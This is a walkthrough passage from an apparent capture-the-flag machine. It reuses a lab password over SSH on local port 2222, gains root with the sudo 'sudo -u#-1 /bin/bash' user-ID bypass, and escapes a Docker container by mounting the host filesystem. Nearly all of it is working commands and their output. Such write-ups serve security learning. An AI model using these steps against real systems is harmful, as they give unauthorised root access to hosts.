DOCKER CONTAINER

We try ssh from inside the target server (note:default local host is 127.0.0.1) but no workie:

```
maya@linuxagency:~/.ssh$ ssh robert@127.0.0.1
ssh robert@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:NPQ78ILJE6Ra+F9r/z2ZUWdpPGeAHnuNAc5kOaFbTjU.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
robert@127.0.0.1's password: industryweapon

Permission denied, please try again.
robert@127.0.0.1's password:

Permission denied, please try again.
```

We check for any other ports running inside the target and find one on Port 2222 (table in Hex):

```
penelope@linuxagency:/home/agent47$ cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 0100007F:9E89 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 21799
   1: 0100007F:08AE 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 23100
   2: 0100007F:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 21510
   3: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 19246
   4: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 21085
   5: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25586
   6: 5BAB0A0A:0016 1539020A:D002 01 00000000:00000000 02:000A461B 00000000     0        0 24015
```

try roberts creds on this new found inside port2222 and we're in:

```
maya@linuxagency:~/.ssh$ ssh robert@127.0.0.1 -p2222
ssh robert@127.0.0.1 -p2222
robert@127.0.0.1's password: industryweapon

Last login: Tue Jan 12 17:02:07 2021 from 172.17.0.1
robert@ec96850005d6:~$
```

with sudo -l we find user robert can run as root /bin/bash- We can use the sudo 1.8.21 exploit:

```
robert@ec96850005d6:~$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
```

sudo -u#-1 /bin/bash #sudo privesc

```
User robert may run the following commands on ec96850005d6:
    (ALL, !root) NOPASSWD: /bin/bash
robert@ec96850005d6:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
root@ec96850005d6:~#
```

```
root@ec96850005d6:~# find / -name docker 2>/dev/null
/run/docker
/tmp/docker
root@ec96850005d6:~#
```

```
/tmp/docker/images
bash: /tmp/docker/images: Not a directory
root@ec96850005d6:/mnt# /tmp/docker images
/tmp/docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
mangoman            latest              b5f279024ce0        4 months ago        213MB
root@ec96850005d6:/mnt#
```

Notice that our hostname changed, so now we're inside the newly created container, which has the host filesystem root as it's root, meaning we can view all files from the host system. Let's grab the root.txt flag from /root/ and get out:

```
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
mangoman            latest              b5f279024ce0        4 months ago        213MB
root@ec96850005d6:/mnt# /tmp/docker run -it -v /:/host/ b5f279024ce0 chroot /host/ bash
<run -it -v /:/host/ b5f279024ce0 chroot /host/ bash
root@4c75983f8a06:/# pwd
```